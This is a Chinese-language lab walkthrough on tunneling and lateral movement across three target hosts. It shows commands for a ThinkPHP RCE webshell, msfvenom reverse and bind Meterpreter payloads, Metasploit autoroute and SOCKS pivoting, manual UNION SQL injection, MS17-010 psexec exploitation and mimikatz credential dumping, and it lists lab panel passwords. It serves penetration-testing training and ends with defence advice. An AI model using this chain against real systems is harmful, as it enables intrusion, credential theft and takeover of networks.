内网安全-隧道穿透漫游
字数 1640 2025-08-29 08:31:35

内网隧道穿透与横向移动技术详解

一、隧道技术概述

1. 什么是隧道技术

在渗透测试中,进入内网后需要判断流量是否能够出得去、进得来。实际网络环境中,流量会经过许多边界设备(如IDP、IPS、防火墙等),隧道技术就是绕过端口屏蔽的通信方式。

隧道工作原理:防火墙两端的数据包通过防火墙允许的数据包类型或端口进行封装,穿过防火墙后解包还原,并将还原后的数据包发送到相应服务器。

2. 隧道分类

常见的隧道包括三大类:

  • 网络层隧道
  • 应用层隧道
  • 传输层隧道

二、靶场环境搭建

1. 网络拓扑

  • Target1: 192.168.3.117
  • Target2: 192.168.22.102
  • Target3: 192.168.33.33

2. 初始配置

临时配置IP地址(重启后失效):

ifconfig ethx IP/MASK
# 示例
ifconfig eth0 192.168.22.22/24

宝塔面板配置:

  • Target1: 账号eaj3yhsl 密码41bb8fee
  • Target2: 账号xdynr37d 密码123qwe..

三、Target1渗透过程

1. 信息收集

  1. 使用dirb扫描网站目录,发现robots.txt中的flag
  2. 访问index.php发现使用ThinkPHP框架
  3. 测试ThinkPHP5.x远程命令执行漏洞

2. 漏洞利用

获取网站绝对路径并写入一句话木马:

pwd
echo '<?php eval($_POST['x']);?>' > /www/wwwroot/ThinkPHP/pu.php

使用菜刀连接大马(密码x)

3. MSF后门植入

  1. 生成Linux后门:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=kali本机地址 LPORT=1111 -f elf > t1.elf
  1. MSF设置监听:
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST kali本机地址
set LPORT 1111
exploit
background
  1. 通过菜刀上传并执行后门:
chmod +777 t1.elf
./t1.elf

4. 路由配置

  1. 查看网络接口:
run get_local_subnets
  1. 添加22网段路由:
run autoroute -s 192.168.22.0/24

5. 建立Socks代理

  1. MSF开启本地代理:
use auxiliary/server/socks_proxy
set srvport 1080
exploit
  1. Windows配置Socks代理(使用SocksCap64)

  2. Kali配置proxychains:
    编辑/etc/proxychains4.conf,添加:

socks5 127.0.0.1 1080

6. 扫描22网段

方法一:使用proxychains+nmap

proxychains nmap -sT -Pn 192.168.22.0/24 -p80

方法二:使用MSF端口扫描

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.22.0/24
set threads 100
run

四、Target2渗透过程

1. 信息收集

  1. 发现192.168.22.102的80端口
  2. 扫描网站目录(使用代理工具如御剑)
  3. 在主页源代码中发现SQL注入提示

2. SQL注入利用

方法一:使用SQL工具

  1. 配置Socks5代理
  2. 识别注入点并获取数据

方法二:手工注入

  1. 确定注入类型:
' 报错
" 正常
  1. 确定列数:
' order by 39%23  # 正常
' order by 40%23  # 报错
  1. 获取数据库名:
union select group_concat(table_name),2,3,...,39 from information_schema.tables where table_schema='bagecms'%23
  1. 获取表名:
union select group_concat(column_name),2,3,...,39 from information_schema.columns where table_name='bage_admin'%23
  1. 获取账号密码:
union select username,password,3,4,...,39 from bagecms.bage_admin limit 0,1%23

获取的密码为MD5加密,解密后为123qwe

3. 后台Getshell

  1. 登录后台
  2. 通过模板修改写入Webshell
  3. 使用代理连接菜刀

4. 正向连接后门

  1. 生成正向后门:
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf
  1. MSF设置监听:
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.102
set LPORT 3333
exploit
  1. 上传并执行后门

  2. 添加33网段路由:

run autoroute -s 192.168.33.0/24
  1. 开启新的Socks代理:
use auxiliary/server/socks_proxy
set srvport 1081
run
  1. 更新proxychains配置

五、Target3渗透过程

1. 信息收集

  1. 扫描33网段:
proxychains nmap -Pn -sT -T4 192.168.33.33

发现445和3389端口(Windows系统)

2. MS17-010漏洞检测

use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.33.33
run

3. 漏洞利用

  1. 使用psexec模块:
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOSTS 192.168.33.33
set RHOST 192.168.33.33
exploit
  1. 提权操作:
getsystem
load mimikatz
creds_all
  1. 远程桌面连接

六、关键技术总结

  1. ThinkPHP5.x RCE漏洞利用:三种利用方式及echo写马注意事项
  2. MSF路由与代理
    • 添加路由:run autoroute -s
    • Socks代理:auxiliary/server/socks_proxy
  3. CMS漏洞利用:SQL注入→后台登录→模板Getshell
  4. 永恒之蓝利用:MS17-010的psexec模块使用
  5. 多层网络穿透:通过不断添加路由+Socks代理实现横向移动
  6. 代理工具:SocksCap64的使用

七、完整渗透流程

  1. 外网Web漏洞利用获取初始立足点
  2. 建立反向连接获取meterpreter会话
  3. 添加内网路由
  4. 建立代理通道
  5. 通过代理进行内网扫描和信息收集
  6. 利用内网服务漏洞横向移动
  7. 重复2-6步骤直至到达目标系统
  8. 获取最终flag完成渗透

八、防御建议

  1. 及时修补已知漏洞(如ThinkPHP、MS17-010)
  2. 网络分段隔离,限制横向移动
  3. 部署IDS/IPS检测异常流量
  4. 加强权限管理,避免权限提升
  5. 监控代理和隧道行为
  6. 定期进行安全审计和渗透测试
内网隧道穿透与横向移动技术详解 一、隧道技术概述 1. 什么是隧道技术 在渗透测试中,进入内网后需要判断流量是否能够出得去、进得来。实际网络环境中,流量会经过许多边界设备(如IDP、IPS、防火墙等),隧道技术就是绕过端口屏蔽的通信方式。 隧道工作原理:防火墙两端的数据包通过防火墙允许的数据包类型或端口进行封装,穿过防火墙后解包还原,并将还原后的数据包发送到相应服务器。 2. 隧道分类 常见的隧道包括三大类: 网络层隧道 应用层隧道 传输层隧道 二、靶场环境搭建 1. 网络拓扑 Target1: 192.168.3.117 Target2: 192.168.22.102 Target3: 192.168.33.33 2. 初始配置 临时配置IP地址(重启后失效): 宝塔面板配置: Target1: 账号eaj3yhsl 密码41bb8fee Target2: 账号xdynr37d 密码123qwe.. 三、Target1渗透过程 1. 信息收集 使用dirb扫描网站目录,发现robots.txt中的flag 访问index.php发现使用ThinkPHP框架 测试ThinkPHP5.x远程命令执行漏洞 2. 漏洞利用 获取网站绝对路径并写入一句话木马: 使用菜刀连接大马(密码x) 3. MSF后门植入 生成Linux后门: MSF设置监听: 通过菜刀上传并执行后门: 4. 路由配置 查看网络接口: 添加22网段路由: 5. 建立Socks代理 MSF开启本地代理: Windows配置Socks代理(使用SocksCap64) Kali配置proxychains: 编辑 /etc/proxychains4.conf ,添加: 6. 扫描22网段 方法一:使用proxychains+nmap 方法二:使用MSF端口扫描 四、Target2渗透过程 1. 信息收集 发现192.168.22.102的80端口 扫描网站目录(使用代理工具如御剑) 在主页源代码中发现SQL注入提示 2. SQL注入利用 方法一:使用SQL工具 配置Socks5代理 识别注入点并获取数据 方法二:手工注入 确定注入类型: 确定列数: 获取数据库名: 获取表名: 获取账号密码: 获取的密码为MD5加密,解密后为 123qwe 3. 后台Getshell 登录后台 通过模板修改写入Webshell 使用代理连接菜刀 4. 正向连接后门 生成正向后门: MSF设置监听: 上传并执行后门 添加33网段路由: 开启新的Socks代理: 更新proxychains配置 五、Target3渗透过程 1. 信息收集 扫描33网段: 发现445和3389端口(Windows系统) 2. MS17-010漏洞检测 3. 漏洞利用 使用psexec模块: 提权操作: 远程桌面连接 六、关键技术总结 ThinkPHP5.x RCE漏洞利用 :三种利用方式及echo写马注意事项 MSF路由与代理 : 添加路由: run autoroute -s Socks代理: auxiliary/server/socks_proxy CMS漏洞利用 :SQL注入→后台登录→模板Getshell 永恒之蓝利用 :MS17-010的psexec模块使用 多层网络穿透 :通过不断添加路由+Socks代理实现横向移动 代理工具 :SocksCap64的使用 七、完整渗透流程 外网Web漏洞利用获取初始立足点 建立反向连接获取meterpreter会话 添加内网路由 建立代理通道 通过代理进行内网扫描和信息收集 利用内网服务漏洞横向移动 重复2-6步骤直至到达目标系统 获取最终flag完成渗透 八、防御建议 及时修补已知漏洞(如ThinkPHP、MS17-010) 网络分段隔离,限制横向移动 部署IDS/IPS检测异常流量 加强权限管理,避免权限提升 监控代理和隧道行为 定期进行安全审计和渗透测试